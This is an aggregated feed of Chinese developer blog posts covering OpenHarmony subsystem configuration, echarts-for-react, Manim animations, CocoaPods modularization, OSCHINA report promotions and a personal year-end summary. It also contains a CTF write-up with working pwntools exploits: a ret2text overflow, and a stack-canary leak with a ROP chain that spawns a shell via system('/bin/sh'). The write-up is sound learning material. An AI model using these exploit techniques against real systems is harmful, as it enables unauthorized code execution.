在轻量系统中,samgr_lite配置的共享任务栈大小默认为0x800。当函数调用栈较大时,会出现栈溢出的问题。在本次适配过程中,将其调整为0x1000。

安全子系统适配

进行安全子系统适配需要添加huks/deviceauth_lite部件,直接在config.json配置即可。

    {
      "subsystem": "security",
      "components": [
        {
          "component": "huks",
          "features": [
            "huks_use_lite_storage = true",
            "huks_use_hardware_root_key = true",
            "huks_config_file = \"hks_config_lite.h\"",
            "huks_key_store_path = \"/data/\"",
            "ohos_security_huks_mbedtls_porting_path = \"//device/soc/bestechnic/hals/mbedtls\""
          ]
        },
        {
          "component": "deviceauth_lite",
          "features": [
            "deviceauth_storage_path = \"/data/\"",
            "deviceauth_hichain_thread_stack_size = 9472"
          ]
        }
      ]
    }

huks部件适配时,huks_key_store_path配置选项用于指定存放秘钥路径,ohos_security_huks_mbedtls_porting_path配置选项用于指定进行mbedtls适配的目录,用于芯片对mbedtls进行硬件随机数等适配。

deviceauth_lite部件适配时,deviceauth_storage_path配置选项用于指定存放设备认证信息的路径,deviceauth_hichain_thread_stack_size用于指定线程栈大小。

媒体子系统适配

进行媒体子系统适配需要添加histreamer部件,直接在config.json配置即可。

{
  "subsystem": "multimedia",
  "components": [
    {
      "component": "histreamer",
      "features": [
        "histreamer_enable_plugin_hdi_adapter = true",
        "histreamer_enable_plugin_minimp3_adapter = true",
        "histreamer_enable_plugin_ffmpeg_adapter = false",
        "config_ohos_histreamer_stack_size = 65536"
      ]
    }
  ]
},

histreamer部件配置项说明如下:

配置项说明
histreamer_enable_plugin_hdi_adapter是否使能histreamer对接到hdi接口
histreamer_enable_plugin_minimp3_adapter是否使能插件适配minimp3
histreamer_enable_plugin_ffmpeg_adapter是否使能插件适配FFmpeg
config_ohos_histreamer_stack_sizehistreamer栈大小设置
公共基础库子系统适配

进行公共基础库子系统适配需要添加kv_store/js_builtin/timer_task/kal_timer部件,直接在config.json配置即可。

{
  "subsystem": "utils",
  "components": [
{
  "component": "kv_store",
  "features": [
"enable_ohos_utils_native_lite_kv_store_use_posix_kv_api = true"
  ]
},
{
  "component": "js_builtin"
},
{
  "component": "timer_task"
},
{
  "component": "kal_timer",
}
  ]
},

与适配syspara_lite部件类似,适配kv_store部件时,键值对会写到文件中。在轻量系统中,文件操作相关接口有POSIX接口与HalFiles接口这两套实现。因为对接内核的文件系统,采用POSIX相关的接口,所以features需要增加enable_ohos_utils_native_lite_kv_store_use_posix_kv_api = true。如果对接HalFiles相关的接口实现的,则无须修改。

图形子系统适配

进行图形子系统适配需要添加graphic_utils部件,直接在config.json配置即可。

    {
      "components": [
        {
          "component": "graphic_utils",
          "features": [
            "enable_ohos_graphic_utils_product_config = true"
          ]
        },
        {
          "component": "ui"
        }
      ]
    },

graphic配置文件见 //vendor/bestechnic/display_demo/graphic_config/product_graphic_lite_config.h。

graphic适配见//device/soc/bestechnic/bes2600/liteos_m/components/ui, 主要功能如下:

  • display_device:实例化BaseGfxEngine。
  • touch_input:实例化PointerInputDevice。
  • UiMainTask:初始化字体引擎,执行渲染任务等。

图形子系统层次:

aafwk_lite + appexecfwk_lite    (AAFWK + APPEXECFWK)
      |
ace_engine_lite + jerryscript + i18n_lite + resmgr_lite + utils/native/lite/... (ACE,JS引擎及其依赖)
      |
arkui_ui_lite + graphic_utils      (图形框架)
      |
giflib + libjpeg + libpng + qrcodegen + freetype... (图形第三方库)

图形应用示例见文件//vendor/bestechnic/display_demo/tests/app.cpp,如下:

/* ui app entry */
void RunApp()
{
#ifdef UI_TEST
    AnimatorDemoStart();  --- native ui demo
#elif defined(ABILITY_TEST)
    StartJSApp();  --- js demo
#endif
}

void AppEntry(void)
{
    UiMain();
}

APP_FEATURE_INIT(AppEntry);

ACE开发框架子系统适配

进行ACE开发框架子系统适配需要添加ace_engine_lite部件,直接在config.json配置即可。

{
  "subsystem": "ace",
  "components": [
    {
      "component": "ace_engine_lite",
      "features": [
        "enable_ohos_ace_engine_lite_product_config = true"
      ]
    }
  ]
},

ace_engine_lite部件配置文件见 //vendor/bestechnic/display_demo/ace_lite_config/product_acelite_config.h

ace_lite的应用采用js语言进行开发,详细步骤如下:

1.用DevEco Studio编写js应用,参考 轻量级智能穿戴开发 。 2.使用预览功能进行预览,并且得到js包:entry\.preview\intermediates\res\debug\lite\assets\js\default。 3.将js包放到对应的文件系统目录下,文件系统路径为vendor/bestechnic/display_demo/fs/data/data/js,如下:

├── app.js
├── common
├── i18n
├── manifest.json
└── pages

4.最终编译生成系统镜像,烧录到单板后,系统会从app.js加载启动ace的应用。

元能力子系统适配

进行元能力子系统适配需要添加aafwk_lite部件,直接在config.json配置即可。

    {
      "subsystem": "aafwk",
      "components": [
        {
          "component": "aafwk_lite",
          "features": [
            "enable_ohos_appexecfwk_feature_ability = true", --- 支持FA特性,即包含图形能力
            "config_ohos_aafwk_ams_task_size = 4096" --- 配置aafwk栈的大小
          ]
        }
      ]
    },

aafwk_lite相关的应用样例见vendor/bestechnic/display_demo/tests/ability目录,包含launcherjs app这两类应用,应用的函数调用流程描述如下:

  1. launcher应用,通过InstallLauncher安装BundleName为 "com.example.launcher"native ui应用,在AbilityMgrSliteFeature启动后会调用AbilityMgrHandler::StartLauncher()启动launcher应用。

  2. StartJSApp应用,通过StartAbility启动任意Want,通过将want data传递JS_APP_PATHSetWantData(&want, JS_APP_PATH, strlen(JS_APP_PATH) + 1)

包管理子系统适配

进行包管理子系统适配需要添加appexecfwk_lite部件,直接在config.json配置即可。

    {
      "subsystem": "appexecfwk",
      "components": [
        {
          "component": "appexecfwk_lite"
        }
      ]
    },

by 塞尔维亚大汉 at January 20, 2025 08:46 AM

juejin career

湘岚杯 部分题目WriteUp

比赛地址:xlctf.huhstsec.top/

PWN

ret2text签到

from pwn import *

file = './1'
io = remote('127.0.0.1',61865)
elf = ELF(file)
context.log_level = 'debug'

payload = b'a'*(0xA+0x8) + p64(0x40115A)
io.sendlineafter(b'xlctf\n',payload)
io.interactive()

ezlibc

存在canary和nx保护,首先main函数就是初始化之后进入了bug函数,所以分析bug函数,观察到printf里有一个打印%s,所以利用第一个read把buf填满然后让第一个printf把canary泄露出来。

然后利用第二个read利用上第一次泄露的canary,构建ROP泄露read的地址

from pwn import *

file = './ezlibc'
#io = remote('xlctf.huhstsec.top',40791)
io = process(file)
elf = ELF(file)
context.log_level = 'debug'

#泄露canary
payload = b'a'*36 + b'bbbb'
io.sendlineafter(b'flag!\n',payload)
io.recvuntil(b'bbbb')
canary = u64(io.recv(8)) - 0xa
print("canary >>> " + hex(canary))

#构建ROP,泄露read的地址
payload1 = b'a'*40 + p64(canary) + p64(0xdeadbeef) + p64(0x400843) + p64(elf.got['read']) + p64(elf.plt['puts'])
io.sendlineafter(b'the key',payload1)
io.recvuntil(b'trying\n')
read_addr = u64(io.recv(6).ljust(8,b'\x00'))
print("read_addr >>> " + hex(read_addr))

io.interactive()

有了read的地址,然后根据题目给出了ubuntu18的提示,利用libcbase来计算获得system和binsh地址

from pwn import *
from LibcSearcher import *

file = './ezlibc'
io = remote('xlctf.huhstsec.top',28386)
#io = process(file)
elf = ELF(file)
context.log_level = 'debug'

#泄露canary
payload = b'a'*36 + b'bbbb'
io.sendlineafter(b'flag!\n',payload)
io.recvuntil(b'bbbb')
canary = u64(io.recv(8)) - 0xa
print("canary >>> " + hex(canary))

#构建ROP,泄露read的地址并且返回到bug函数再次执行system(binsh)
payload1 = b'a'*40 + p64(canary) + p64(0xdeadbeef) + p64(0x400843) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(0x400843) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40059e) + p64(elf.symbols['bug'])
io.sendlineafter(b'the key',payload1)
io.recvuntil(b'trying\n')
read_addr = u64(io.recv(6).ljust(8,b'\x00'))
print("read_addr >>> " + hex(read_addr))

data = b''
while len(data) < 6:  # 读取 6 个有效字节
    byte = io.recv(1)  # 每次读取 1 字节
    if byte != b'\n':  # 忽略换行符
        data += byte
puts_addr = u64(data.ljust(8, b'\x00'))  # 补齐到 8 字节
print(f"puts_addr >>> {hex(puts_addr)}")

libc = LibcSearcher('read',read_addr)
libc.add_condition('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
binsh = libcbase + libc.dump('str_bin_sh')
system = libcbase + libc.dump('system')

payload2 = b'a'*40 + p64(canary) + p64(0xdeadbeef) + p64 (0x40059e) + p64(0x400843) + p64(binsh) + p64(system)
io.sendlineafter(b'flag!',payload2)

io.interactive()

这里我有个点想不通,就是payload2里面为什么要在返回地址处添加一个ret指令?

因为需要关注一个栈对齐,x86_64 体系结构通常要求栈按 16 字节对齐(即每次栈帧的大小应是 16 字节的倍数)。这意味着栈指针(rsp)在函数返回时应该是 16 字节对齐的。也就是rsp地址应该是以0结尾

Reverse

ezbase

将输入先异或了16然后进行base64变表编码然后将12位和18位进行了交换再比较

因为最终flag为8CJJ8z918CyC3HtzObOJcov3B2Sh8upqNu6ic/hxZjeJcotz8CkJcoY9

先将12位和18位交换回来:8CJJ8z918CyCOHtzOb3Jcov3B2Sh8upqNu6ic/hxZjeJcotz8CkJcoY9

然后用base变表解码

再异或一个16

flag = 'v|qwksvs'svvr=q# u=$ttt=(u( =!%uq#&vvqq##m'
temp_flag = ''.join(chr(ord(flag[i]) ^ 16) for i in range(len(flag)))
print(temp_flag)

MISC

别呀啦(签到)

多层嵌套压缩包,直接写脚本解压搜索flag即可

import os
import zipfile
import re
import shutil

# 临时解压目录
TEMP_DIR = "temp_extract"
PROCESSED_FILES = set()  # 记录已处理文件
MAX_DEPTH = 100  # 限制最大递归深度

def extract_zip(file_path, extract_to):
    """解压zip文件"""
    with zipfile.ZipFile(file_path, 'r') as zip_ref:
        zip_ref.extractall(extract_to)

def search_flag_in_file(file_path):
    """在文件中搜索flag"""
    with open(file_path, 'r', encoding='utf-8') as f:
        content = f.read()
        match = re.search(r'XLCTF{.*?}', content)
        if match:
            return match.group()
    return None

def process_file(file_path, current_depth=0):
    """递归处理文件"""
    if current_depth > MAX_DEPTH:
        print("已达到最大递归深度,停止处理")
        return None

    # 防止重复处理
    abs_path = os.path.abspath(file_path)
    if abs_path in PROCESSED_FILES:
        return None
    PROCESSED_FILES.add(abs_path)

    # 创建临时目录
    if not os.path.exists(TEMP_DIR):
        os.makedirs(TEMP_DIR)
    
    if zipfile.is_zipfile(file_path):
        print(f"正在解压: {file_path}")
        temp_dir = os.path.join(TEMP_DIR, os.path.basename(file_path))
        os.makedirs(temp_dir, exist_ok=True)
        extract_zip(file_path, temp_dir)
        for root, dirs, files in os.walk(temp_dir):
            for file in files:
                nested_file = os.path.join(root, file)
                flag = process_file(nested_file, current_depth + 1)
                if flag:
                    return flag
    elif file_path.endswith('.txt'):
        print(f"正在搜索flag: {file_path}")
        return search_flag_in_file(file_path)
    return None

def clean_temp():
    """清理临时目录"""
    if os.path.exists(TEMP_DIR):
        shutil.rmtree(TEMP_DIR)

if __name__ == "__main__":
    try:
        input_file = "D:\Download\hhh.zip"  # 替换为你的初始压缩包路径
        flag = process_file(input_file)
        if flag:
            print(f"找到flag: {flag}")
        else:
            print("未找到flag")
    finally:
        clean_temp()

Crypto

你真的懂社会主义核心价值观吗

放入社会主义核心价值观解码然后base64解码

by 用户4704982564183 at January 20, 2025 08:46 AM

juejin frontend

全网React开发者下载量最高的 ECharts封装组件

大家好,我是程序视点的小二哥!

前言

echarts 是什么,不用多说了,国内最知名的可视化图表库之一。而今天要和大家分享的 echarts-for-react ,就是echarts的一个极简的 React 封装。

echarts-for-react插件可以在React中调用echarts接口直接渲染出Echarts图表,只要传入相关的参数和数据即可。

它让echart变得如此简单。再也不用自己封装echarts轮子了。有人把echarts轮子封装好了。

简介

可视化图表 echarts-for-react 是使用 React 基于 echarts 封装的图表库,能够满足基本的可视化图表需求。

它把 echarts 的配置参数通过 React 组件的 props 形式进行传递配置。代码简洁,功能适用。

安装

$ npm install --save echarts-for-react

# `echarts``echarts-for-react`的依赖,毕竟你封装的就是echarts嘛。选择自己熟悉的echarts版本进行安装。
$ npm install --save echarts

使用

import React from 'react';
import ReactECharts from 'echarts-for-react';  // 或者 var ReactECharts = require('echarts-for-react');

<ReactECharts
  option={this.getOption()}
  notMerge={true}
  lazyUpdate={true}
  theme={"theme_name"}
  onChartReady={this.onChartReadyCallback}
  onEvents={EventsDict}
  opts={}
/>

注意:我们知道整个Echarts的体积是很大的。因此,我们在使用时,还是采用手动引入,以此来减低最后打包的体积。

官方根据Echarts的不同版本,给出了示例:
Echarts.js V5

import React from 'react';
// 引入核心库.
import ReactEChartsCore from 'echarts-for-react/lib/core';
// 引入核心模块, 提供使用echarts的必需接口.
import * as echarts from 'echarts/core';
// 按需引入,想必大家都明白
import {
  BarChart,
} from 'echarts/charts';
import {
  GridComponent,
  TooltipComponent,

  DatasetComponent,
} from 'echarts/components';
// 引入渲染器, 注意使用 Canvas 或者 SVG 渲染 也是必要的
import {
  CanvasRenderer,
  // SVGRenderer,
} from 'echarts/renderers';

// 注册组件
echarts.use(
  [TitleComponent, TooltipComponent, GridComponent, BarChart, CanvasRenderer]
);

// 组件使用
<ReactEChartsCore
  echarts={echarts}
  option={this.getOption()}
  notMerge={true}
  lazyUpdate={true}
  theme={"theme_name"}
  onChartReady={this.onChartReadyCallback}
  onEvents={EventsDict}
  opts={}
/>

Echarts.js v3 or v4:

import React from 'react';
// 引入原则和v5差不多,只是存在版本的差异。
import ReactEChartsCore from 'echarts-for-react/lib/core';
import echarts from 'echarts/lib/echarts';
import 'echarts/lib/chart/bar';
import 'echarts/lib/component/tooltip';
import 'echarts/lib/component/title';

// 组件使用
<ReactEChartsCore
  echarts={echarts}
  option={this.getOption()}
  notMerge={true}
  lazyUpdate={true}
  theme={"theme_name"}
  onChartReady={this.onChartReadyCallback}
  onEvents={EventsDict}
  opts={}
/>

属性参数

  • option 这个是核心,是必须的。包含echarts图表的配置项和数据,如标题title、图例legend、x轴xAxis、y轴yAxisseries等,详见 echarts.baidu.com/option.html….

  • notMerge
    可选,是否不跟之前设置的 option 进行合并,默认为 false,即合并。

  • lazyUpdate
    可选,在设置完 option 后是否不立即更新图表,默认为 false,即立即更新。

  • style
    包含echarts图表的div的样式,默认是{height: '300px'}.

  • className
    包含echarts图表的div的类名. 可以根据需要自行配置类名,不同类配置不同的css。

  • theme
    应用的主题。可以是一个主题的配置对象,也可以是使用已经通过 echarts.registerTheme 注册的主题名称。

通过registerTheme注册主题:

// 引入echarts
import echarts from 'echarts';
...
// 注册主题
echarts.registerTheme('my_theme', {
  backgroundColor: '#f4cccc'
});
...
// 渲染主题 
<ReactEcharts
  option={this.getOption()}
  style={{height: '300px', width: '100%'}}
  className='echarts-for-echarts'
  theme='my_theme' />
  • onChartReady
    当图表准备好时,将图表作为参数传给回调函数

  • loadingOption
    echarts的加载配置。

  • showLoading
    是否加载动画效果

  • onEvents
    为图表绑定事件

let onEvents = {
  'click': this.onChartClick,
  'legendselectchanged': this.onChartLegendselectchanged
}
...
<ReactEcharts
  option={this.getOption()}
  style={{height: '300px', width: '100%'}}
  onEvents={onEvents} />
  • opts 附加参数。有下面几个可选项:

devicePixelRatio 设备像素比,默认取浏览器的值window.devicePixelRatio

renderer 渲染器,支持 canvas 或者 svg渲染。

width 可显示指定实例宽度,单位为像素。如果传入值为 nullundefined'auto',则表示自动取 dom(实例容器)的宽度。

height 可显式指定实例高度,单位为像素。如果传入值为 nullundefined'auto',则表示自动取 dom(实例容器)的高度。

组件API和ECharts API

对于组件来说,只有一个API: getEchartsInstance(),用来获取Echarts的实例对象。获取到对象后就可以使用任意的Echarts API。

// 使用 ref
<ReactEcharts ref={(e) => { this.echarts_react = e; }}
  option={this.getOption()} />
 
// 通过 this.echarts_react获取`ReactEcharts`实例
 
let echarts_instance = this.echarts_react.getEchartsInstance();
// 接着就可以使用Echarts的API了。
let base64 = echarts_instance.getDataURL();

使用这些API可以实现以下功能:

  • 绑定/解绑事件
  • 设置带有动态数据的动态图表
  • 获取echarts dom/dataurl/base64,将图表保存到png。
  • 发布图表

体验和建议
echarts-for-react同样延续了echarts官网的特色,提供了示例及代码,方便开发者查阅,提高开发效率。小伙伴们可以根据下方链接进行查阅。

echarts-for-react在线示例
git.hust.cc/echarts-for…

最后

【程序视点】助力打工人减负,从来不是说说而已!

后续小二哥会继续详细分享更多实用的工具和功能。持续关注,这样就不会错过之后的精彩内容啦!~

如果这篇文章对你有帮助的话,别忘了【一键三连】支持下哦~

by 程序视点 at January 20, 2025 08:45 AM

oschina news industry

《2024 中国开源开发者报告》发布:阅读赢大礼,扫码申请享特权

值此新春佳节之际,开源中国联合北京银行正式发布《2024 中国开源开发者报告》。

为表达对所有开源开发者的深深敬意与诚挚感谢,并增添一份春节的喜庆与祥和,我们特别策划了两波福利活动,活动时间定于 1 月 20 日至 2 月 20 日,诚邀广大开源爱好者积极参与,共享这场开源新春盛宴!

第一波福利

1、看报告,盖楼赢奖品

参与规则:

第一步下载阅读:请先下载并仔细阅读《2024中国开源开发者报告》

报告地址2024 中国开源开发者报告.pdf

第二步参与评论区盖楼赢奖品:(每位用户最多可以评论盖楼2次,超过部分作废,奖品顺延给下一位,评论内容要与报告、活动相关,纯灌水评论无效)

1)文章评论区第18,第68,第88,第168,第888名等5名留言评论用户,将获得一等奖,赠送价值399元的小米智能眼部按摩仪;

2)第36、第56、第166、第266、第366、第666、第688、第999、第1168、第1366等10名留言评论用户将获得二等奖,赠送价值229元的狼蛛F87Pro客制化无线机械键盘一个;

3)第10,第30,第60,第90,第120,第150。。。。。第810,第840,第870等30名留言评论用户将获得三等奖,赠送价值65元的罗技M221轻音鼠标一个。

4)奖品寄送:活动结束后一周内,获奖名单会公布,我们将为您寄出奖品,请保持联系方式畅通。

第二波福利

2、开源中国×北京银行:程序员专属福利——程序员贷

我们深知开发者在技术探索与项目推进过程中,常面临资金瓶颈。为此,我们特别推出第二波福利——程序员贷,旨在为开源中国的开发者们提供切实助力,解决实际问题。

程序员贷的意义与理由

开源中国作为开发者聚集的社区,汇聚了众多技术精英,大家在这里分享知识、贡献代码、共同成长。然而,技术探索与项目推进往往需要资金支持,无论是购买高性能开发设备、搭建测试环境,还是投入项目初期的运营成本,资金短缺都可能成为阻碍创新的瓶颈。

北京银行与开源中国合作推出程序员贷,正是看到了开发者这一痛点。我们希望通过这种方式,为开发者提供资金支持,助力大家在技术道路上更进一步。同时,这也是对开源中国社区贡献者的一种回馈,感谢大家为开源事业所付出的努力与汗水。

快速审批不耽误项目进度

在技术快速迭代的当下,项目机会稍纵即逝。程序员贷的审批流程快速便捷,无需繁琐资料,线上申请即可秒速批额,最高可达100万。让您无需在漫长等待中错失项目机遇,资金即刻到位,助力项目加速落地。

信誉分与贡献分助力低利率

申请程序员贷时,会提取程序员在开源中国社区的信誉、活跃、能力等分值数据。这些数据反映了开发者在社区的活跃度、技术实力以及对开源事业的贡献程度。基于这些数据,北京银行将为信誉良好、贡献突出的开发者提供更低的利率,让您的社区贡献转化为实实在在的金融优惠,减轻资金成本负担。

▲ 扫码申请程序员贷

开源中国注册用户将优先享受这份专属金融支持计划。让我们携手共进,在开源的广阔天地里,突破技术壁垒,持续创新,共同绘制属于我们的精彩未来!

by 来源: OSCHINA at January 20, 2025 08:31 AM

juejin backend

manim边做边学--交替变换

今天,我们将介绍 Manim 中两个用于交替变换的动画类:CyclicReplaceSwap

无论是在展示数学概念的动态变化,还是在图形设计中呈现元素的巧妙交互,这两个动画类都扮演着重要角色。

它们以各自独特的方式,为我们提供了丰富的创意表达空间。

  1. CyclicReplace:循环替换一组对象的位置
  2. Swap:交换两个特定对象的位置

1. 动画概述

1.1. CyclicReplace

当你需要循环替换一组对象的位置时,CyclicReplace 是一个非常有用的动画类。

例如,有一组按顺序排列的元素,并且想要给人一种元素依次循环移动位置的视觉效果,类似于一个循环队列的元素循环操作,那么使用 CyclicReplace 可以很好地实现这一效果。

它可以用于展示元素之间的循环依赖关系,或者周期性的位置调整,给人一种周期性变化的直观感受。

CyclicReplace 的特点是将一组 Mobject按照某种循环顺序进行位置交换。

比如,对于一组元素 [A, B, C, D],它可能会将 A 的位置替换为 B 的位置,B 的位置替换为 C 的位置,以此类推,最后将 D 的位置替换为 A 的位置。

它的参数主要有:

参数名称类型说明
mobjects[Mobject]要进行变换的 mobject 列表
path_arcfloatmobjects 到达目标位置所遵循的弧的角度

1.2. Swap

Swap 动画类适用于需要交换两个特定对象位置的场景。

当你有两个对象,你想清晰地展示它们位置的互换时,使用 Swap 动画可以实现直接交换位置的效果。

常见的应用场景包括交换等式中的两个元素,交换图表中的两个数据点或交换布局中的两个元素,以强调它们的等价性或某种关联关系。

也可以用于对比前后两个对象位置不同但功能或属性相同的情况,通过交换位置来突出它们的互换性。

CyclicReplace 不同,Swap 主要针对两个对象进行操作。

它将精确地交换这两个对象的位置,使它们在动画结束时位置互换。

它的参数主要有:

参数名称类型说明
mobjects[Mobject]参与交换的 Mobject
path_arcfloat象在交换过程中所遵循的弧的角度

2. 使用示例

下面通过示例来演示在哪些场景下可以使用上面的两个动画类。

2.1. 元素的循环移动

这个示例展示了三个不同形状(圆形正方形三角形)的循环位置替换,直观地体现了 CyclicReplace 如何循环移动一组对象。

circle = Circle()
square = Square()
triangle = Triangle()

shapes = VGroup(circle, square, triangle)
shapes.arrange(RIGHT)

self.add(shapes)
self.play(CyclicReplace(*shapes))
self.play(CyclicReplace(*shapes))
self.play(CyclicReplace(*shapes))

2.2. 模拟循环队列的元素移动

这个示例模拟了一个简单的循环队列,数字 15 按顺序排列,通过 CyclicReplace 动画展示了它们像在循环队列中一样循环移动位置。

numbers = [Text(str(i)) for i in range(1, 6)]
number_group = VGroup(*numbers).arrange(RIGHT)

self.add(number_group)
self.play(CyclicReplace(*number_group))
self.play(CyclicReplace(*number_group))
self.play(CyclicReplace(*number_group))
self.play(CyclicReplace(*number_group))
self.play(CyclicReplace(*number_group))

2.3. 交换等式两边的元素

在数学等式的场景中,先展示一个简单的等式 x + 5 = 10,然后使用 Swap 交换等式中的元素。

eq = MathTex(r"x + 5 = \quad 10")
eq[0][0].set_color(GREEN)
eq[0][2].set_color(BLUE)
eq[0][4:6].set_color(RED)

self.add(eq)
self.play(Swap(eq[0][0], eq[0][2]))
self.wait()
self.play(Swap(eq[0][0:3], eq[0][4:6]))

2.4. 对称交换两个图形的位置

这个示例通过交换左右两个不同图形(圆形正方形)的位置,展示了 Swap 在图形布局中用于突出对称关系位置交换的效果。

left_circle = Circle().shift(LEFT)
right_square = Square().shift(RIGHT)

self.add(left_circle, right_square)
self.wait(0.5)
self.play(Swap(left_circle, right_square))

3. 附件

文中的代码只是关键部分的截取,完整的代码共享在网盘中(swap.py),

下载地址: 完整代码 (访问密码: 6872)

by databook at January 20, 2025 08:27 AM

oschina news industry

《2024 中国开源开发者报告》正式发布

《2024 中国开源开发者报告》正式发布。

这份报告由开源中国 OSCHINA、Gitee 与 Gitee AI 联合出品,聚焦 AI 大模型领域,对过去一年的技术演进动态、技术趋势、以及开源开发者生态数据进行多方位的总结和梳理。

报告整体分为三章:

  1. 中国开源开发者生态数据
  2. TOP 101-2024大模型观点
  3. 国产 GenAI 生态高亮瞬间

第一章《中国开源开发者生态数据》结合 Gitee & Gitee AI 平台、OSS Compass 的数据分析,勾勒出 2024 年中国开源开发者的整体画像趋势轮廓,反映中国开源开发者使用开源大模型概况、开源项目/组织健康度,以及中国开源社区的生态评估等情况。


第二章《TOP 101-2024大模型观点》中,我们邀请了业内专家和开发者,对开源大模型和人工智能技术进行深刻解读,不仅涵盖了技术层面的深入探讨,也触及了社会、 伦理和政策层面的广泛议题。


第三章《国产 GenAI 生态高亮瞬间》展示了国内 GenAI 消费应用和 AI 应用的现状和创新成果。

 

详情查看完整报告2024 中国开源开发者报告.pdf


最后,为表达对所有开源爱好者的深深敬意与诚挚感谢,我们特别策划了两波福利活动,为大家送出以下大礼。

诚邀各位积极参与,共享这场开源新春盛宴!

详情访问:《2024 中国开源开发者报告》发布:阅读赢大礼,扫码申请享特权

by 来源: OSCHINA at January 20, 2025 08:18 AM

juejin career

2024年终总结

image.png

截止到目前,2024年目标全部完成:
1.存款达到预期
2.三月份去了云南,7月份去了青岛,10月份去了武汉
3.BEC中级通过

2024年工作总结:
1.工作上,兼职了部门的财务管理,虽然是完全免费义务劳动,但是说实话,完全是担任了部门的行政工作,各种活动策划都要做。本来想能拿到优秀员工的,但是给了另外一个人,估计是自己还是有些方面不如人家。
2.英语提升上,通过了商务英语中级的考试,这真的是近几天最开心的事情了。结束了每天下班到家就刷题背单词的日子。

 简单聊下BEC考试的方法:
 1.背单词,有些商务词汇真的很不常见。背单词的过程我使用的是不背单词APP和21天攻克BEC中级.词汇
 2.对于BEC考试的阅读,一定要多刷题总结单词,提高阅读速度以及词语搭配的使用,不然慢的话最后可能题做不完
 3.对于BEC考试的听力,一定要做精听,尤其是Part one单词填空,一定要养成语感,知道听力中哪个词是需要填到题目中的
 4.对于BEC考试的写作和口语。我觉得是比较简单的部分,写作多背范文,口语每天和搭子练半小时
 5.如果有对这考试有兴趣的话可以私聊下我把资料分享给你。

2025年目标:
1.存款达到**
2.出去旅游两次(今年想出国玩一圈)
3.考软考

2025年已经开始啦,今年也要出去玩一下。如果时间允许的话,想出国感受下,准备下软考的相关知识,希望能够以考促学,提升自己能力吧。

by zhouzhouya at January 20, 2025 08:12 AM

juejin ios

轻松实现模块化:创建本地 CocoaPods 库的完整教程

背景

随着项目复杂度的提升,代码耦合问题日益显著,模块化逐渐成为提高项目可维护性和开发效率的重要手段。通常的模块化流程包括:

  1. 根据项目业务逻辑划分不同模块;
  2. 拆分模块代码;
  3. 解决模块间的通信问题。

本文将重点分享模块拆分后的一个关键步骤:如何创建独立的模块代码库并通过 CocoaPods 实现管理和集成。

在模块化实现中,可以选择子工程 (Subproject)、静态库 (Static Library)、动态库 (Framework) 等形式进行开发,同时利用 CocoaPods 或 Swift Package Manager (SPM) 管理模块依赖。我们公司的项目采用的是 Framework + CocoaPods 的方式。


创建 Framework

模块化的第一步是创建一个独立的 Framework,下面以创建名为 UtilsFramework 的工具模块为例:

  1. 创建工程
    新建一个 Xcode 工程,选择 Framework 模板,命名为 UtilsFramework,并保存在项目目录的 Modules 文件夹下:
UtilsFramework/
├── UtilsFramework.xcodeproj        # 项目文件
├── Components/                     # 通用组件
│   ├── xxx.swift
│   └── xxx.swift
├── Utilies/                        # 工具类
│   ├── xxx.swift
│   └── xxx.swift
├── Extensions/                     # 扩展类
│   ├── xxx.swift
│   └── xxx.swift
└── UtilsFramework.h                # 头文件
  1. 迁移代码
    将主项目中的相关代码迁移到UtilsFramework中,注意:
    • 只暴露必要的公共接口,其他内容使用 internalprivate 修饰;
    • 确保模块代码独立且与其他模块没有强耦合。

添加 CocoaPods 支持

要让 UtilsFramework 支持 CocoaPods,需要创建一个 .podspec 文件。以下是具体步骤:

1. 创建 .podspec 文件

UtilsFramework 文件夹下,运行以下命令生成模板文件:

pod spec create UtilsFramework

或手动创建一个 UtilsFramework.podspec 文件,并添加以下内容:

Pod::Spec.new do |spec|
  spec.name         = "UtilsFramework"
  spec.version      = "0.0.1"
  spec.summary      = "A utility framework for logging, date handling, and network checks."
  spec.homepage     = "https://example.com/UtilsFramework"
  spec.license      = { :type => "MIT", :file => "LICENSE" }
  spec.author       = { "YourName" => "your_email@example.com" }
  spec.source       = { :git => "https://github.com/your-repo/UtilsFramework.git", :tag => spec.version }
  spec.ios.deployment_target = "13.0"
  spec.source_files = "**/*.{h,m,swift}"
  spec.frameworks   = "Foundation", "UIKit"
  spec.module_name  = "UtilsFramework"
  spec.swift_version = "5.0"
end

其中:

  • spec.name 是模块名称;
  • spec.version 表示版本号;
  • spec.source 是模块的源码地址,暂时可使用占位地址;
  • spec.source_files 用于指定需要包含的源码文件。

2. 验证 podspec 文件

运行以下命令验证配置是否符合 CocoaPods 的规范:

pod spec lint

若未创建远程仓库,可以跳过此步骤,直接作为本地库使用。


集成本地库

在模块开发初期,频繁变动是正常的,因此可以直接使用本地库,无需推送到远程仓库。

1. 在主项目中引入本地库

修改主项目的 Podfile,通过 :path 指定本地库路径:

target 'MainProject' do
  use_frameworks!
  pod 'UtilsFramework', :path => '../Modules/UtilsFramework'
end

2. 安装依赖

运行以下命令,将本地库添加到项目中:

pod install --no-repo-update

成功后,可以在 Pods 工程的 Development Pods 文件夹中看到 UtilsFramework

3. 更新本地库

当本地库代码有更新时,运行以下命令同步更新:

pod update UtilsFramework --no-repo-update

推送到远程仓库

当本地库稳定后,建议推送到远程仓库以便团队协作和版本管理。

1. 创建远程仓库

创建一个 Git 仓库,将本地库代码上传,并添加 tag(例如 0.0.1):

git init
git remote add origin https://github.com/your-repo/UtilsFramework.git
git add .
git commit -m "Initial commit"
git tag 0.0.1
git push origin master --tags

2. 修改 podspec 文件

spec.source 更新为远程仓库地址:

spec.source = { :git => "https://github.com/your-repo/UtilsFramework.git", :tag => spec.version }

3. 验证并安装

验证 podspec 文件:

pod spec lint

验证通过后,在主项目中执行:

pod install --no-repo-update

总结

通过本地库的方式,可以快速拆分和管理项目模块,减少开发过程中的耦合和依赖问题。在模块稳定后,将其推送到远程仓库可以进一步提高协作效率和代码管理能力。

关键点回顾:

  • 模块化开发有助于提升项目可维护性;
  • 利用 CocoaPods 管理模块依赖,支持本地和远程两种模式;
  • 随着模块成熟,及时推送到远程仓库进行版本管理。

希望本文能帮助大家顺利实现项目模块化!

by Aaron0927 at January 20, 2025 08:12 AM

hackernews

juejin frontend

如何使用Jsoup修改HTML元素的属性

